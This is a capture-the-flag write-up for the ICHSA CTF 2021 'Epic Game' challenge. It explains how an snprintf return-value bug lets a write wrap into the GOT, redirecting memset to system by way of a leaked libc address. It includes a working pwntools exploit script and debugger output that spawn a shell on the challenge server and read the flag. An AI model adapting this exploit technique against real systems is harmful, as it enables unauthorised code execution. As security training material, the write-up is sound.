ICHSA CTF 2021 / Published
Epic Game
Abusing an snprintf return-value bug to wrap a write into the GOT and point memset at system, using the game's leaked luck stat as a libc address.
Contents 6
Files 1
- Target
- amd64
- RELRO
- Partial
- Canary
- Found
- NX
- Enabled
- PIE
- Disabled
I created a cmd mode for WoW but I suspect you can’t win :( can you check my game?
May the cyber spirit be ever in your favor!!
good luck (you’ll need it for sure)
Connect:
nc epic_game.ichsa.ctf.today 8007
Inspecting the game
In this challenge, we are provided with a zip file. Upon unpacking it, we are presented with the following files.
vagrant in pwnbox in /CTF/ichsa-ctf/epic-game
❯ tree ctfd
ctfd
├── Dockerfile
├── README.txt
├── app.out
├── docker-compose.yml
├── epic_game.c
├── epic_game.h
├── flag.txt
└── libc.so.6As usual, let’s start off by checking what security mitigations are present in the binary.
vagrant in pwnbox in ichsa-ctf/epic-game/ctfd
❯ checksec app.out
[*] '/CTF/ichsa-ctf/epic-game/ctfd/app.out'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)Partial RELRO, Canary present, and No PIE. Smells like a potential GOT overwrite, but let’s not get ahead of ourselves. Let’s run the binary and see what it does.
vagrant in pwnbox in ichsa-ctf/epic-game/ctfd
❯ ./app.out
Hello epic warrior, it's time to begin your quest
Choose your character:
1 - Mighty warrior
2 - Wizard
3 - Elf
Your Choice:
1
Choose your character name (limit to 12 chars)
Your Choice:
abc
Hello abc The Mighty Warrior!!!
Your health is 1000 pt.
Your shield is 100 pt.
Your strength is 500 pt.
Your lucky number is 140082059670720
You will need 2147483647 points to get the flag
Good luck, the kingdom trust you!!
You meet a Evil snake!!!
abc
choose your move:
1 - hit
2 - protect
3 - run
Your Choice:
1
you killed an evil creature, kudos!!!
your current health 950
You meet a Dragon!!!
abc
choose your move:
1 - hit
2 - protect
3 - run
Your Choice:
2
R.I.P abc The Mighty Warrior
You were a brave warrior but not enough to get a flagTriggering a crash
Cool. Looks like it’s some kind of text-based RPG game. We’ll play around with it in GDB and fuzz it a little.
pwndbg> cyclic -n8 512
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaac
pwndbg> r
Starting program: /CTF/ichsa-ctf/epic-game/ctfd/app.out
Hello epic warrior, it's time to begin your quest
Choose your character:
1 - Mighty warrior
2 - Wizard
3 - Elf
Your Choice:
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaac
Input Error
Choose your character name (limit to 12 chars)
Your Choice:
Input Error
Hello aiaaaaaaajaa The Mighty Warrior!!!
Your health is 1000 pt.
Your shield is 100 pt.
Your strength is 500 pt.
Your lucky number is 140737348003008
You will need 2147483647 points to get the flag
Good luck, the kingdom trust you!!
You meet a Evil snake!!!
aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run
Your Choice:
Input Error
aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run
Your Choice:
Input Error
aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run
Your Choice:
Input Error
aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run
Your Choice:
Input Error
aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run
Your Choice:
Input Error
aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run
Your Choice:
Input Error
aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run
Your Choice:
Input Error
aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run
Your Choice:
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaac
Input Error
aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run
Your Choice:
Input Error
aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run
Your Choice:
Input Error
aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run
Your Choice:
Input Error
aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run
Your Choice:
Input Error
aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run
Your Choice:
Input Error
aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run
Your Choice:
Input Error
aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run
Your Choice:
Input Error
aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run
Your Choice:
Input Error
aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run
Your Choice:
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaac
Input Error
aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run
Your Choice:
Input Error
Program received signal SIGBUS, Bus error.
_IO_vsnprintf (string=0x6161616161a2a260 <error: Cannot access memory at address 0x6161616161a2a260>, maxlen=<optimized out>, format=0x402015 "%s", args=args@entry=0x7fffffffdf90) at vsnprintf.c:112
112 vsnprintf.c: No such file or directory.
pwndbg> context backtrace
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────
► f 0 7ffff7a6a9c9 vsnprintf+121
f 1 7ffff7a470cf snprintf+143
f 2 401397 log_error+105
f 3 401aea main+1814
f 4 7ffff7a03bf7 __libc_start_main+231
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────Understanding the snprintf overflow
Interesting, looks like we’ve got a crash in snprintf which is within the log_error function. Let’s cross-reference this with the provided source code to make sense of this.
void log_error(char* buff)
{
puts("Input Error\n");
if(write_to_log)
{
curr += snprintf(error_log+curr, sizeof(error_log)-curr, "%s", buff);
if (curr == sizeof(error_log))
{
write_to_log = false;
//TODO: write the log buffer to file
}
}
}On the surface, there appears to be nothing too wrong with the code above. But if we look closely at the documentation for snprintf, it’s actually a disaster.
RETURN VALUE
The functions snprintf() and vsnprintf() do not write more than size bytes (including the terminating null byte (‘\0’)). If the output was truncated due to this limit, then the return value is the number of char‐ acters (excluding the terminating null byte) which would have been written to the final string if enough space had been available. Thus, a return value of size or more means that the output was truncated.
The crucial part is: number of characters which would have been written to the final string if enough space had been available.
The bug is the difference between the number of characters stored and the number snprintf reports.
The input sites use fgets(buffer, 64, stdin), which consumes at most 63 input bytes and adds a NUL terminator. Each submitted 512-byte line plus newline therefore reaches log_error in nine fragments: eight of 63 characters and one of nine. The two lines in the exploit produce 18 log calls, not two calls with 513-character strings.
Before call 18, curr is 1017 and only seven bytes remain in error_log, a char[1024] array. The final nine-character fragment contains eight data characters and a newline. snprintf stores six characters and a NUL at error_log[1023], but returns nine. Adding that return value makes curr equal to 1026, so the curr == 1024 check is false. The next call has the following recorded arguments.
pwndbg> context disassembly
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────
► 0x401392 <log_error+100> call snprintf@plt <snprintf@plt>
s: 0x4044c2 (write_to_log+2) ◂— 0x402000000000000
maxlen: 0xfffffffffffffffe
format: 0x402015 ◂— 0x6f6c6c6548007325 /* '%s' */
vararg: 0x7ffdf3476a40 ◂— 0x4141414141414141The next destination is error_log+1026, or 0x4044c2: two bytes into write_to_log. The unsigned size calculation 1024-1026 wraps to 0xfffffffffffffffe, or 2^64-2. This is the size argument, including space for a terminator; it does not describe available writable memory. Both adjacent fields, write_to_log and curr, are eight-byte uint64_t values.
Turning the overflow into a GOT write
Now, how do we proceed from here? Well, it would certaintly be nice if we could turn this into an arbitrary write primitive… and we actually can!
pwndbg> dq &error_log+1024
00000000004044c0 0000000000000001 0000000000000402Notice that curr is located right after write_to_log (0x402 is 1026), and since we have an overflow we can control the value of curr. Based on the source code, error_log+curr is passed in as the first parameter to snprintf. Therefore, if we can control curr, we can use snprintf to perform an arbitrary write by offsetting from error_log. Since this binary has partial RELRO, writing into the GOT is an option.
pwndbg> print &error_log
$1 = (<data variable, no debug info> *) 0x4040c0 <error_log>
pwndbg> got
GOT protection: Partial RELRO | GOT functions: 13
[0x404018] puts@GLIBC_2.2.5 -> 0x7f6bbcc71aa0 (puts) ◂— push r13
[0x404020] strlen@GLIBC_2.2.5 -> 0x7f6bbcd7f4d0 (__strlen_avx2) ◂— mov ecx, edi
[0x404028] __stack_chk_fail@GLIBC_2.4 -> 0x401056 (__stack_chk_fail@plt+6) ◂— push 2
[0x404030] printf@GLIBC_2.2.5 -> 0x7f6bbcc55f70 (printf) ◂— sub rsp, 0xd8
[0x404038] snprintf@GLIBC_2.2.5 -> 0x7f6bbcc56040 (snprintf) ◂— sub rsp, 0xd8
[0x404040] memset@GLIBC_2.2.5 -> 0x7f6bbcd7fe30 (__memset_avx2_unaligned) ◂— vmovd xmm0, esi
[0x404048] read@GLIBC_2.2.5 -> 0x401096 (read@plt+6) ◂— push 6
[0x404050] srand@GLIBC_2.2.5 -> 0x7f6bbcc34cd0 (srandom) ◂— sub rsp, 8
[0x404058] fgets@GLIBC_2.2.5 -> 0x7f6bbcc6fc00 (fgets) ◂— test esi, esi
[0x404060] memcpy@GLIBC_2.14 -> 0x7f6bbcd7f9b0 (__memmove_avx_unaligned) ◂— mov rax, rdi
[0x404068] time@GLIBC_2.2.5 -> 0x7fff0bff3f10 (time) ◂— push rbp
[0x404070] open@GLIBC_2.2.5 -> 0x4010e6 (open@plt+6) ◂— push 0xb /* 'h\x0b' */
[0x404078] strtoul@GLIBC_2.2.5 -> 0x7f6bbcc36260 (strtouq) ◂— mov rax, qword ptr [rip + 0x3a5b61]The GOT lies below error_log. In this binary, a large counter makes the computed destination wrap to a lower address. The exploit uses flat({7: 0xFFFFFFFFFFFFFF}): seven filler bytes, seven ff bytes, and an embedded NUL. Although sendline adds a newline, %s stops at the embedded NUL and formats 14 bytes.
Starting at write_to_log+2, six filler bytes finish that field. The seventh filler byte, 61, becomes the low byte of curr; the seven ff bytes fill its remaining bytes. This changes curr to 0xffffffffffffff61. The output NUL lands at 0x4044d0, immediately after curr.
The compiled code reloads curr after snprintf returns and then adds its return value, 14 (0x0e). The result is 0xffffffffffffff6f, or 2^64-0x91. Thus (0x4040c0+curr) mod 2^64 is 0x40402f, and (0x400-curr) mod 2^64 is 0x491, matching the recorded call below.
pwndbg> context disassembly
──────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────
► 0x401392 <log_error+100> call snprintf@plt <snprintf@plt>
s: 0x40402f (_GLOBAL_OFFSET_TABLE_+47) ◂— 0x7f6bbcc55f7000
maxlen: 0x491
format: 0x402015 ◂— 0x6f6c6c6548007325 /* '%s' */
vararg: 0x7fff0bfec360 ◂— 0x4141414141414141
pwndbg> dq 0x40402f
000000000040402f 007f6bbcc55f7000 007f6bbcc5604000
000000000040403f 007f6bbcd7fe3000 0000000040109600
000000000040404f 007f6bbcc34cd000 007f6bbcc6fc0000
000000000040405f 007f6bbcd7f9b000 007fff0bff3f1000
pwndbg> got
GOT protection: Partial RELRO | GOT functions: 13
[0x404018] puts@GLIBC_2.2.5 -> 0x7f6bbcc71aa0 (puts) ◂— push r13
[0x404020] strlen@GLIBC_2.2.5 -> 0x7f6bbcd7f4d0 (__strlen_avx2) ◂— mov ecx, edi
[0x404028] __stack_chk_fail@GLIBC_2.4 -> 0x401056 (__stack_chk_fail@plt+6) ◂— push 2
[0x404030] printf@GLIBC_2.2.5 -> 0x7f6bbcc55f70 (printf) ◂— sub rsp, 0xd8
[0x404038] snprintf@GLIBC_2.2.5 -> 0x7f6bbcc56040 (snprintf) ◂— sub rsp, 0xd8
[0x404040] memset@GLIBC_2.2.5 -> 0x7f6bbcd7fe30 (__memset_avx2_unaligned) ◂— vmovd xmm0, esi
[0x404048] read@GLIBC_2.2.5 -> 0x401096 (read@plt+6) ◂— push 6
[0x404050] srand@GLIBC_2.2.5 -> 0x7f6bbcc34cd0 (srandom) ◂— sub rsp, 8
[0x404058] fgets@GLIBC_2.2.5 -> 0x7f6bbcc6fc00 (fgets) ◂— test esi, esi
[0x404060] memcpy@GLIBC_2.14 -> 0x7f6bbcd7f9b0 (__memmove_avx_unaligned) ◂— mov rax, rdi
[0x404068] time@GLIBC_2.2.5 -> 0x7fff0bff3f10 (time) ◂— push rbp
[0x404070] open@GLIBC_2.2.5 -> 0x4010e6 (open@plt+6) ◂— push 0xb /* 'h\x0b' */
[0x404078] strtoul@GLIBC_2.2.5 -> 0x7f6bbcc36260 (strtouq) ◂— mov rax, qword ptr [rip + 0x3a5b61]The write starts at the final byte of the __stack_chk_fail GOT slot. The script’s 17-byte prefix, /bin/sh && AAAAAA, crosses and overwrites the printf and snprintf slots. The packed system pointer then starts at 0x404040, the memset GOT entry. These executable addresses are fixed, and this GOT region is writable under the binary’s Partial RELRO configuration.
while(tmp_enemy.health_points > 0 && current_player.health_points > 0 && !run){
puts(current_player.name);
puts("choose your move:\n" \
"1 - hit \n" \
"2 - protect\n" \
"3 - run\n");
memset(buffer, 0x00, BUFFER_SIZE);
puts("Your Choice:");The next loop reaches memset(buffer, 0, 64) with the existing input buffer as its first argument. If the intended pointer reaches the GOT slot, that call dispatches to system(buffer). The two preceding puts calls use unaffected entries; no ordinary printf or snprintf call is needed before this dispatch.
The system address comes from the luck leak explained next. This input passes through both fgets and %s, so a newline or an early NUL in the address can prevent the intended overwrite. The low six pointer bytes must avoid both values; this depends on the runtime address.
Leaking libc through the luck stat
However, we’re still short of a libc address leak to calculate the address of system… or are we?
void init_player(player* p_player, uint32_t character_type)
{
uint64_t luck = rand;
switch (character_type)
{
case 1: //Mighty warrior
{
strcpy(p_player->player_type, "Mighty Warrior");
p_player->game_points = 0;
p_player->health_points = 1000;
p_player->shield = 100;
p_player->strength = 500;
p_player->luck = luck;
break;
}
case 2: //Wizard
{
strcpy(p_player->player_type, "Wizard");
p_player->game_points = 0;
p_player->health_points = 1200;
p_player->shield = 400;
p_player->strength = 200;
p_player->luck = luck;
break;
}
case 3: //Elf
{
strcpy(p_player->player_type, "Elf");
p_player->game_points = 0;
p_player->health_points = 1000;
p_player->shield = 500;
p_player->strength = 300;
p_player->luck = luck;
break;
}
default:
break;
}
}With reference to the above source code, our luck stat is actually set to the address of rand (which is a libc function).
printf("Hello %s The %s!!!\n", current_player.name, current_player.player_type);
printf("Your health is %d pt.\n"\
"Your shield is %d pt.\n"\
"Your strength is %d pt.\n"\
"Your lucky number is %lld\n",
current_player.health_points,
current_player.shield,
current_player.strength,
current_player.luck);
printf("You will need %d points to get the flag\n", POINTS_FOR_FLAG);
puts("Good luck, the kingdom trust you!!\n");Fortunately for us, they’ve decided to print our luck stat, so they’ve already provided us with a libc address leak. How nice.
Building and running the exploit
From this point on we should be able to craft an exploit to spawn a shell on the server.
from pwn import *
HOST = "epic_game.ichsa.ctf.today"
PORT = 8007
FLAG_FORMAT = "ICHSA_CTF{\w+}"
REMOTE_FLAGPATH = "/app/flag.txt"
CHALLENGE = "app.out"
TARGET_LIBC = "libc.so.6"
CHOICE_PROMPT = b"Your Choice:\n"
LUCKY_NUMBER_MARKER = b"Your lucky number is "
elf = context.binary = ELF(CHALLENGE, checksec=False)
if args.REMOTE:
libc = ELF(TARGET_LIBC, checksec=False)
io = remote(HOST, PORT)
else:
libc = elf.libc
io = elf.process()
with log.progress("Stage 1: Flood error_log to limit"):
io.sendlineafter(CHOICE_PROMPT, cyclic(512))
io.sendlineafter(CHOICE_PROMPT, cyclic(512))
with log.progress("Stage 2: Leak lib address"):
io.recvuntil(LUCKY_NUMBER_MARKER)
libc_rand = int(io.recvline())
libc.address = libc_rand - libc.sym.rand
log.success(f"libc @ {hex(libc.address)}")
with log.progress("Stage 3: Overwrite memset GOT entry"):
io.sendlineafter(CHOICE_PROMPT, flat({7: 0xFFFFFFFFFFFFFF}))
io.sendlineafter(
CHOICE_PROMPT, b"/bin/sh && AAAAAA" + p64(libc.sym.system)
)
with log.progress("Stage 4: Pwn"):
io.sendlineafter(CHOICE_PROMPT, str(1))
if args.REMOTE:
io.clean(timeout=0.5)
io.sendline(f"cat {REMOTE_FLAGPATH}")
log.success(f"Flag: {io.recvregexS(FLAG_FORMAT)}")
io.close()
else:
io.interactive()The historical run below records the exploit retrieving the flag.
❯ python xpl.py REMOTE
[+] Opening connection to epic_game.ichsa.ctf.today on port 8007: Done
[+] Stage 1: Flood error_log to limit: Done
[+] Stage 2: Leak lib address: Done
[+] libc @ 0x7fb1acdfa000
[+] Stage 3: Overwrite memset GOT entry: Done
[+] Stage 4: Pwn: Done
[+] Flag: ICHSA_CTF{Th3_cyb3r_5p1r1t_0f_luck_I5_s7r0ng_w17h_y0u}
[*] Closed connection to epic_game.ichsa.ctf.today port 8007Result
Flag: ICHSA_CTF{Th3_cyb3r_5p1r1t_0f_luck_I5_s7r0ng_w17h_y0u}